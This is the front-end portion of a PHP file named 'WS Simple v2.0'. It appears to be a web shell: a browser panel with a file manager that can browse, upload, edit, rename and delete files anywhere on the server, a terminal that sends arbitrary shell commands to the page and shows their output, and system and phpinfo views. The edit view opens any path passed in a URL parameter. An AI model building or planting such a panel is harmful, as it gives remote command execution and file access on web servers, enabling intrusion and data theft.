.upload-area:hover,
.upload-area.dragover {
border-color: var(--accent-blue);
background: rgba(59, 130, 246, 0.05);
}
.upload-icon {
width: 56px;
height: 56px;
background: linear-gradient(135deg, var(--accent-blue), var(--accent-purple));
border-radius: 16px;
display: flex;
align-items: center;
justify-content: center;
margin: 0 auto 14px;
font-size: 24px;
color: #fff;
}
/* Scrollbar */
.main::-webkit-scrollbar {
width: 8px;
}
.main::-webkit-scrollbar-track {
background: var(--bg-primary);
}
.main::-webkit-scrollbar-thumb {
background: var(--accent-blue);
border-radius: 4px;
}
/* Responsive */
@media (max-width: 900px) {
.sidebar {
display: none;
}
.mobile-header {
display: flex !important;
background: var(--sidebar-bg);
padding: 16px 20px;
align-items: center;
justify-content: space-between;
}
.mobile-header h1 {
color: #fff;
font-size: 18px;
font-weight: 800;
}
.main-inner {
padding: 16px;
}
.header-bar {
flex-direction: column;
align-items: stretch;
}
.path-box {
max-width: 100%;
}
.search-box {
margin-left: 0;
width: 100%;
}
.search-box input {
width: 100%;
}
.search-box input:focus {
width: 100%;
}
}
@media (min-width: 901px) {
.mobile-header {
display: none !important;
}
}
@keyframes fadeUp {
from {
opacity: 0;
transform: translateY(10px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
.animate-in {
animation: fadeUp 0.3s ease;
}
</style>
</head>
<body>
<!-- Mobile Header -->
<div class="mobile-header">
<h1><i class="fa-solid fa-terminal" style="margin-right: 8px;"></i> WS Simple</h1>
<button class="theme-toggle" onclick="toggleTheme()" style="width: 36px; height: 36px; padding: 0;">
<i class="fa-solid fa-moon" id="mobile-theme-icon"></i>
</button>
</div>
<!-- Toast Container -->
<div class="toast-container" id="toast-container">
<?php if (isset($msg)): ?>
<div class="toast success animate-in">
<div class="toast-icon"><i class="fa-solid fa-check"></i></div>
<span><?php echo htmlspecialchars($msg); ?></span>
</div>
<?php endif; ?>
<?php if (isset($error)): ?>
<div class="toast error animate-in">
<div class="toast-icon"><i class="fa-solid fa-xmark"></i></div>
<span><?php echo htmlspecialchars($error); ?></span>
</div>
<?php endif; ?>
</div>
<div class="layout">
<!-- Sidebar -->
<aside class="sidebar">
<div class="sidebar-header">
<div class="logo">
<div class="logo-icon"><i class="fa-solid fa-terminal"></i></div>
<div>
<h1>WS Simple</h1>
<div class="version">v2.0</div>
</div>
</div>
</div>
<nav class="sidebar-nav">
<div class="nav-label">Navigation</div>
<a href="#" onclick="showTab('files', this); return false;" class="nav-item active" data-tab="files">
<i class="fa-solid fa-folder-open"></i>
<span>File Manager</span>
</a>
<a href="#" onclick="showTab('terminal', this); return false;" class="nav-item" data-tab="terminal">
<i class="fa-solid fa-terminal"></i>
<span>Terminal</span>
</a>
<a href="#" onclick="showTab('info', this); return false;" class="nav-item" data-tab="info">
<i class="fa-solid fa-chart-bar"></i>
<span>System Info</span>
</a>
<a href="#" onclick="showTab('phpinfo', this); return false;" class="nav-item" data-tab="phpinfo">
<i class="fa-brands fa-php"></i>
<span>PHP Info</span>
</a>
</nav>
<div class="sidebar-footer">
<button class="theme-toggle" onclick="toggleTheme()">
<i class="fa-solid fa-moon" id="theme-icon"></i> Toggle Theme
</button>
<div class="sidebar-info">
<div class="info-label">User</div>
<div class="info-value"><?php echo htmlspecialchars($current_user); ?></div>
</div>
<div class="sidebar-info">
<div class="info-label">Server</div>
<div class="info-value accent"><?php echo htmlspecialchars($hostname); ?></div>
</div>
<a href="?logout=1" class="btn-logout">
<i class="fa-solid fa-right-from-bracket"></i> Logout
</a>
</div>
</aside>
<!-- Main Content -->
<main class="main">
<div class="main-inner">
<!-- Header -->
<div class="header-bar animate-in">
<div style="display: flex; gap: 8px; flex-wrap: wrap; align-items: center;">
<span class="badge badge-yellow"><i class="fa-solid fa-server"></i> <?php echo htmlspecialchars($hostname); ?></span>
<span class="badge badge-blue"><i class="fa-brands fa-php"></i> <?php echo $php_version; ?></span>
<span class="badge badge-green"><i class="fa-solid fa-circle" style="font-size: 6px;"></i> Online</span>
<span class="badge badge-cyan"><i class="fa-solid fa-shield-halved"></i> <?php echo htmlspecialchars($os_info); ?></span>
</div>
<div class="path-box mono"><?php echo htmlspecialchars($cwd); ?></div>
</div>
<!-- FILES TAB -->
<div id="files-tab" class="tab-content active animate-in">
<?php
$path_parts = explode('/', trim($cwd, '/'));
$path_acc = '';
?>
<!-- Breadcrumb -->
<div class="breadcrumb">
<div class="bc-icon"><i class="fa-solid fa-folder-open"></i></div>
<?php foreach ($path_parts as $i => $part): ?>
<?php if (empty($part)) continue; ?>
<?php $path_acc .= '/' . $part; ?>
<?php if ($i > 0): ?><span class="sep">/</span><?php endif; ?>
<a href="?d=<?php echo urlencode($path_acc); ?>"><?php echo htmlspecialchars($part); ?></a>
<?php endforeach; ?>
</div>
<!-- Toolbar -->
<div class="toolbar">
<button onclick="openModal('upload-modal')" class="neo-btn neo-btn-primary neo-btn-sm">
<i class="fa-solid fa-cloud-arrow-up"></i> Upload
</button>
<button onclick="openModal('mkdir-modal')" class="neo-btn neo-btn-warning neo-btn-sm">
<i class="fa-solid fa-folder-plus"></i> New Folder
</button>
<button onclick="openModal('touch-modal')" class="neo-btn neo-btn-success neo-btn-sm">
<i class="fa-solid fa-file-circle-plus"></i> New File
</button>
<div class="search-box">
<i class="fa-solid fa-search"></i>
<input type="text" id="file-search" placeholder="Search files..." onkeyup="searchFiles()">
</div>
</div>
<!-- File List -->
<div class="neo-box" style="padding: 0; overflow: hidden;">
<table class="file-table">
<thead>
<tr>
<th>Name</th>
<th style="width:125px">Size</th>
<th style="width:125px">Perm</th>
<th style="width:150px">Modified</th>
<th style="width:175px">Actions</th>
</tr>
</thead>
<tbody>
<?php if ($cwd != $root_dir && $cwd != '/'): ?>
<tr>
<td>
<div class="file-name">
<a href="?d=<?php echo urlencode(dirname($cwd)); ?>">
<div class="file-icon-wrap" style="background: rgba(251,191,36,0.15); color: #fbbf24;">
<i class="fa-solid fa-arrow-up"></i>
</div>
..
</a>
</div>
</td>
<td class="mono" style="color: var(--text-muted);">-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<?php endif; ?>
<?php
$h = @opendir($cwd);
if ($h):
$dirs = array();
$files = array();
while (($f = readdir($h)) !== false):
if ($f == '.' || $f == '..') continue;
$p = $cwd . '/' . $f;
if (is_dir($p)) {
$dirs[] = $f;
} else {
$files[] = $f;
}
endwhile;
closedir($h);
sort($dirs);
sort($files);
foreach (array_merge($dirs, $files) as $f):
$p = $cwd . '/' . $f;
$is_dir = is_dir($p);
$size = $is_dir ? '-' : formatBytes(filesize($p));
$perms = getPerms($p);
$mtime = date('M j, H:i', filemtime($p));
$icon_info = getFileIcon($f, $is_dir);
?>
<tr class="file-row" data-name="<?php echo htmlspecialchars(strtolower($f)); ?>">
<td>
<div class="file-name">
<?php if ($is_dir): ?>
<a href="?d=<?php echo urlencode($p); ?>">
<div class="file-icon-wrap" style="background: <?php echo $icon_info[2]; ?>; color: <?php echo $icon_info[1]; ?>;">
<i class="<?php echo $icon_info[0]; ?>"></i>
</div>
<?php echo htmlspecialchars($f); ?>
</a>
<?php else: ?>
<div class="file-icon-wrap" style="background: <?php echo $icon_info[2]; ?>; color: <?php echo $icon_info[1]; ?>;">
<i class="<?php echo $icon_info[0]; ?>"></i>
</div>
<span><?php echo htmlspecialchars($f); ?></span>
<?php endif; ?>
</div>
</td>
<td class="mono" style="color: var(--text-secondary); font-size: 12px; text-align: right;"><?php echo $size; ?></td>
<td><span class="perm-badge"><?php echo $perms; ?></span></td>
<td style="color: var(--text-muted); font-size: 12px;"><?php echo $mtime; ?></td>
<td>
<div class="action-btns">
<?php if (!$is_dir): ?>
<a href="?tab=edit&f=<?php echo urlencode($p); ?>&d=<?php echo urlencode($cwd); ?>" class="action-btn edit" title="Edit">
<i class="fa-solid fa-pen-to-square"></i>
</a>
<?php endif; ?>
<button onclick="renameFile('<?php echo htmlspecialchars($f, ENT_QUOTES); ?>')" class="action-btn rename" title="Rename">
<i class="fa-solid fa-i-cursor"></i>
</button>
<a href="?d=<?php echo urlencode($cwd); ?>&del=<?php echo urlencode($f); ?>&csrf=<?php echo urlencode($_SESSION['csrf']); ?>" class="action-btn delete" onclick="return confirm(<?php echo json_encode('Delete ' . $f . '?', JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT); ?>)" title="Delete">
<i class="fa-solid fa-trash-can"></i>
</a>
</div>
</td>
</tr>
<?php
endforeach;
endif;
?>
</tbody>
</table>
</div>
</div>
<!-- EDIT TAB -->
<?php if ($tab == 'edit' && isset($_GET['f'])):
$f = $_GET['f'];
$content = file_exists($f) ? file_get_contents($f) : '';
$file_ext = strtolower(pathinfo($f, PATHINFO_EXTENSION));
?>
<div id="edit-tab" class="tab-content active animate-in">
<div class="neo-box editor-box" style="overflow: hidden;">
<div class="editor-header">
<div class="editor-info">
<i class="fa-solid fa-file-code" style="font-size: 18px;"></i>
<span style="font-weight: 700; font-size: 15px;"><?php echo htmlspecialchars(basename($f)); ?></span>
<span style="background: rgba(255,255,255,0.2); padding: 4px 12px; border-radius: 6px; font-size: 12px; font-weight: 600;">.<?php echo $file_ext; ?></span>
</div>
<a href="?d=<?php echo urlencode($cwd); ?>" class="neo-btn neo-btn-sm" style="background: rgba(255,255,255,0.2); color: #fff; border-color: rgba(255,255,255,0.3); box-shadow: none;">
<i class="fa-solid fa-xmark"></i> Close
</a>
</div>
<form method="post">
<?php csrf_field(); ?>
<input type="hidden" name="f" value="<?php echo htmlspecialchars($f); ?>">
<textarea name="s" class="editor-textarea" spellcheck="false"><?php echo htmlspecialchars($content); ?></textarea>
<div class="editor-footer">
<button type="submit" class="neo-btn neo-btn-success">
<i class="fa-solid fa-floppy-disk"></i> Save
</button>
<a href="?d=<?php echo urlencode($cwd); ?>" class="neo-btn neo-btn-ghost">Cancel</a>
</div>
</form>
</div>
</div>
<?php endif; ?>
<!-- TERMINAL TAB -->
<div id="terminal-tab" class="tab-content">
<div class="terminal-box">
<div class="terminal-header">
<div class="terminal-title">
<div class="terminal-dots">
<span class="dot-red"></span>
<span class="dot-yellow"></span>
<span class="dot-green"></span>
</div>
<i class="fa-solid fa-terminal"></i> Terminal
</div>
<button onclick="document.getElementById('terminal-output').innerHTML=''" class="neo-btn neo-btn-sm" style="background: rgba(255,255,255,0.15); color: #fff; border-color: rgba(255,255,255,0.2); box-shadow: none;">
<i class="fa-solid fa-eraser"></i> Clear
</button>
</div>
<div id="terminal-output" class="terminal-body"><span style="color: #64748b;">// Terminal ready. Type command below and press Enter.</span></div>
<form onsubmit="runTerminal(event)">
<?php csrf_field(); ?>
<div class="terminal-input-line">
<span class="terminal-prompt">$</span>
<input type="text" name="c" id="terminal-cmd" class="terminal-input" placeholder="Enter command..." autocomplete="off">
</div>
</form>
</div>
</div>
<!-- INFO TAB -->
<div id="info-tab" class="tab-content">
<div class="info-grid">
<div class="info-card">
<div class="info-card-header">
<div class="info-icon-wrap" style="background: linear-gradient(135deg, #3b82f6, #2563eb);">
<i class="fa-solid fa-server"></i>
</div>
<h3>System</h3>
</div>
<div class="info-row"><label>OS</label><span><?php echo PHP_OS; ?></span></div>
<div class="info-row"><label>Hostname</label><span class="mono"><?php echo htmlspecialchars($hostname); ?></span></div>
<div class="info-row"><label>PHP Version</label><span class="mono"><?php echo $php_version; ?></span></div>
</div>
<div class="info-card">
<div class="info-card-header">
<div class="info-icon-wrap" style="background: linear-gradient(135deg, #22c55e, #16a34a);">
<i class="fa-solid fa-globe"></i>
</div>
<h3>Server</h3>
</div>
<div class="info-row"><label>Software</label><span><?php echo htmlspecialchars(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'N/A'); ?></span></div>
<div class="info-row"><label>Protocol</label><span><?php echo htmlspecialchars(isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'N/A'); ?></span></div>
<div class="info-row"><label>Port</label><span class="mono"><?php echo htmlspecialchars(isset($_SERVER['SERVER_PORT']) ? $_SERVER['SERVER_PORT'] : 'N/A'); ?></span></div>
</div>
<div class="info-card">
<div class="info-card-header">
<div class="info-icon-wrap" style="background: linear-gradient(135deg, #fbbf24, #f97316);">
<i class="fa-solid fa-user"></i>
</div>
<h3>User Context</h3>
</div>
<div class="info-row"><label>User</label><span><?php echo htmlspecialchars($current_user); ?></span></div>
<div class="info-row"><label>Current Dir</label><span class="mono" style="font-size: 11px; max-width: 160px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;"><?php echo htmlspecialchars($cwd); ?></span></div>
<div class="info-row"><label>Doc Root</label><span class="mono" style="font-size: 11px; max-width: 160px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;"><?php echo htmlspecialchars(isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : 'N/A'); ?></span></div>
</div>
<div class="info-card">
<div class="info-card-header">
<div class="info-icon-wrap" style="background: linear-gradient(135deg, #8b5cf6, #7c3aed);">
<i class="fa-brands fa-php"></i>
</div>
<h3>PHP Environment</h3>
</div>
<div class="info-row"><label>SAPI</label><span><?php echo php_sapi_name(); ?></span></div>
<div class="info-row"><label>Memory Limit</label><span class="mono"><?php echo ini_get('memory_limit'); ?></span></div>
<div class="info-row"><label>Max Upload</label><span class="mono"><?php echo ini_get('upload_max_filesize'); ?></span></div>
</div>
</div>
</div>
<!-- PHPINFO TAB -->
<div id="phpinfo-tab" class="tab-content">
<div class="neo-box" style="padding: 0; overflow: hidden;">
<div style="background: linear-gradient(135deg, var(--accent-purple), #7c3aed); padding: 16px 20px; display: flex; align-items: center; gap: 10px; color: #fff; border-radius: 14px 14px 0 0;">
<i class="fa-brands fa-php" style="font-size: 20px;"></i>
<span style="font-weight: 700; font-size: 15px;">PHP Information</span>
</div>
<div style="padding: 0; max-height: 600px; overflow: auto; border-radius: 0 0 14px 14px;">
<?php
ob_start();
phpinfo();
$info = ob_get_clean();
$info = preg_replace('/<style.*?>.*?<\/style>/s', '', $info);
$info = preg_replace('/<head>.*?<\/head>/s', '', $info);
$info = str_replace(array('<body>', '</body>', '</html>'), '', $info);
echo $info;
?>
</div>
</div>
</div>
</div>
</main>
</div>
<!-- Upload Modal -->
<div id="upload-modal" class="modal-overlay">
<div class="modal">
<div class="modal-header">
<div class="modal-icon" style="background: linear-gradient(135deg, var(--accent-blue), var(--accent-purple));"><i class="fa-solid fa-cloud-arrow-up"></i></div>
<h3>Upload File</h3>
</div>
<form method="post" enctype="multipart/form-data">
<?php csrf_field(); ?>
<div class="upload-area" id="drop-zone" onclick="document.getElementById('file-input').click()">
<div class="upload-icon"><i class="fa-solid fa-cloud-arrow-up"></i></div>
<p style="font-weight: 700; margin-bottom: 4px; color: var(--text-primary);">Click or drag file here</p>
<p style="font-size: 12px; color: var(--text-muted);" id="file-label">No file selected</p>
<input type="file" name="f" id="file-input" style="display: none;" onchange="document.getElementById('file-label').textContent = this.files[0] ? this.files[0].name : 'No file selected'">
</div>
<div class="modal-footer">
<button type="button" onclick="closeModal('upload-modal')" class="neo-btn neo-btn-ghost">Cancel</button>
<button type="submit" class="neo-btn neo-btn-primary"><i class="fa-solid fa-upload"></i> Upload</button>
</div>
</form>
</div>
</div>
<!-- New Folder Modal -->
<div id="mkdir-modal" class="modal-overlay">
<div class="modal">
<div class="modal-header">
<div class="modal-icon" style="background: linear-gradient(135deg, #fbbf24, #f97316);"><i class="fa-solid fa-folder-plus"></i></div>
<h3>Create Directory</h3>
</div>
<form method="post">
<?php csrf_field(); ?>
<input type="text" name="dirname" placeholder="folder-name" class="neo-input" style="width: 100%;" required>
<div class="modal-footer">
<button type="button" onclick="closeModal('mkdir-modal')" class="neo-btn neo-btn-ghost">Cancel</button>
<button type="submit" name="mkdir" class="neo-btn neo-btn-warning"><i class="fa-solid fa-plus"></i> Create</button>
</div>
</form>
</div>
</div>
<!-- New File Modal -->
<div id="touch-modal" class="modal-overlay">
<div class="modal">
<div class="modal-header">
<div class="modal-icon" style="background: linear-gradient(135deg, #22c55e, #06b6d4);"><i class="fa-solid fa-file-circle-plus"></i></div>
<h3>Create File</h3>
</div>
<form method="post">
<?php csrf_field(); ?>
<input type="text" name="filename" placeholder="filename.txt" class="neo-input" style="width: 100%;" required>
<div class="modal-footer">
<button type="button" onclick="closeModal('touch-modal')" class="neo-btn neo-btn-ghost">Cancel</button>
<button type="submit" name="touch" class="neo-btn neo-btn-success"><i class="fa-solid fa-plus"></i> Create</button>
</div>
</form>
</div>
</div>
<!-- Rename Modal -->
<div id="rename-modal" class="modal-overlay">
<div class="modal">
<div class="modal-header">
<div class="modal-icon" style="background: linear-gradient(135deg, #fbbf24, #fb923c);"><i class="fa-solid fa-i-cursor"></i></div>
<h3>Rename</h3>
</div>
<form method="post">
<?php csrf_field(); ?>
<input type="hidden" name="oldname" id="rename-old">
<input type="text" name="newname" id="rename-new" placeholder="New name" class="neo-input" style="width: 100%;" required>
<div class="modal-footer">
<button type="button" onclick="closeModal('rename-modal')" class="neo-btn neo-btn-ghost">Cancel</button>
<button type="submit" name="rename" class="neo-btn neo-btn-primary"><i class="fa-solid fa-check"></i> Rename</button>
</div>
</form>
</div>
</div>
<script>
var CSRF = '<?php echo $_SESSION['csrf']; ?>';
// Theme
var savedTheme = localStorage.getItem('ws-simple-theme') || 'light';
document.documentElement.setAttribute('data-theme', savedTheme);
updateThemeIcon();
function toggleTheme() {
var current = document.documentElement.getAttribute('data-theme');
var next = current === 'dark' ? 'light' : 'dark';
document.documentElement.setAttribute('data-theme', next);
localStorage.setItem('ws-simple-theme', next);
updateThemeIcon();
}
function updateThemeIcon() {
var isDark = document.documentElement.getAttribute('data-theme') === 'dark';
var icons = document.querySelectorAll('#theme-icon, #mobile-theme-icon');
for (var i = 0; i < icons.length; i++) {
icons[i].className = isDark ? 'fa-solid fa-sun' : 'fa-solid fa-moon';
}
}
// Tab switching
function showTab(tabName, element) {
var tabs = document.querySelectorAll('.tab-content');
for (var i = 0; i < tabs.length; i++) tabs[i].classList.remove('active');
var links = document.querySelectorAll('.nav-item');
for (var i = 0; i < links.length; i++) links[i].classList.remove('active');
document.getElementById(tabName + '-tab').classList.add('active');
if (element) element.classList.add('active');
if (tabName === 'terminal') {
setTimeout(function() {
document.getElementById('terminal-cmd').focus();
}, 100);
}
}
// Modal
function openModal(id) {
document.getElementById(id).classList.add('active');
var input = document.querySelector('#' + id + ' input[type="text"]');
if (input) setTimeout(function() {
input.focus();
}, 100);
}
function closeModal(id) {
document.getElementById(id).classList.remove('active');
}
function renameFile(oldName) {
document.getElementById('rename-old').value = oldName;
document.getElementById('rename-new').value = oldName;
openModal('rename-modal');
setTimeout(function() {
var inp = document.getElementById('rename-new');
inp.focus();
inp.select();
}, 100);
}
// Close modals
var modals = document.querySelectorAll('.modal-overlay');
for (var i = 0; i < modals.length; i++) {
modals[i].addEventListener('click', function(e) {
if (e.target === this) this.classList.remove('active');
});
}
document.addEventListener('keydown', function(e) {
if (e.key === 'Escape') {
var overlays = document.querySelectorAll('.modal-overlay.active');
for (var i = 0; i < overlays.length; i++) overlays[i].classList.remove('active');
}
});
// Terminal
var cmdHistory = [];
var historyIndex = -1;
function runTerminal(e) {
e.preventDefault();
var cmd = document.getElementById('terminal-cmd').value;
var output = document.getElementById('terminal-output');
if (!cmd.trim()) return;
cmdHistory.unshift(cmd);
historyIndex = -1;
output.innerHTML += '\n<span style="color: #fbbf24; font-weight: 600;">$ ' + escapeHtml(cmd) + '</span>\n';
var xhr = new XMLHttpRequest();
xhr.open('POST', '', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
output.innerHTML += escapeHtml(xhr.responseText) + '\n';
output.scrollTop = output.scrollHeight;
}
};
xhr.send('c=' + encodeURIComponent(cmd) + '&csrf=' + encodeURIComponent(CSRF));
document.getElementById('terminal-cmd').value = '';
}
document.getElementById('terminal-cmd').addEventListener('keydown', function(e) {
if (e.key === 'ArrowUp' && cmdHistory.length > 0) {
e.preventDefault();
historyIndex = Math.min(historyIndex + 1, cmdHistory.length - 1);
this.value = cmdHistory[historyIndex];
} else if (e.key === 'ArrowDown') {
e.preventDefault();
historyIndex = Math.max(historyIndex - 1, -1);
this.value = historyIndex >= 0 ? cmdHistory[historyIndex] : '';
}
});
// Search
function searchFiles() {
var query = document.getElementById('file-search').value.toLowerCase();
var rows = document.querySelectorAll('.file-row');
for (var i = 0; i < rows.length; i++) {
var name = rows[i].getAttribute('data-name');
rows[i].style.display = (!query || name.indexOf(query) !== -1) ? '' : 'none';
}
}
function escapeHtml(text) {
var div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
// Tab support in textarea
var textareas = document.querySelectorAll('textarea');
for (var i = 0; i < textareas.length; i++) {
textareas[i].addEventListener('keydown', function(e) {
if (e.key === 'Tab') {
e.preventDefault();
var start = this.selectionStart;
var end = this.selectionEnd;
this.value = this.value.substring(0, start) + ' ' + this.value.substring(end);
this.selectionStart = this.selectionEnd = start + 4;
}
});
}
// Drag & Drop
var dropZone = document.getElementById('drop-zone');
if (dropZone) {
dropZone.addEventListener('dragover', function(e) {
e.preventDefault();
this.classList.add('dragover');
});
dropZone.addEventListener('dragleave', function() {
this.classList.remove('dragover');
});
dropZone.addEventListener('drop', function(e) {
e.preventDefault();
this.classList.remove('dragover');
var fileInput = document.getElementById('file-input');
if (e.dataTransfer.files.length > 0) {
fileInput.files = e.dataTransfer.files;
document.getElementById('file-label').textContent = e.dataTransfer.files[0].name;
}
});
}
// Auto-dismiss toasts
setTimeout(function() {
var toasts = document.querySelectorAll('.toast');
for (var i = 0; i < toasts.length; i++) {
toasts[i].style.animation = 'toastOut 0.3s ease forwards';
(function(t) {
setTimeout(function() {
t.remove();
}, 300);
})(toasts[i]);
}
}, 4000);
</script>
</body>
</html>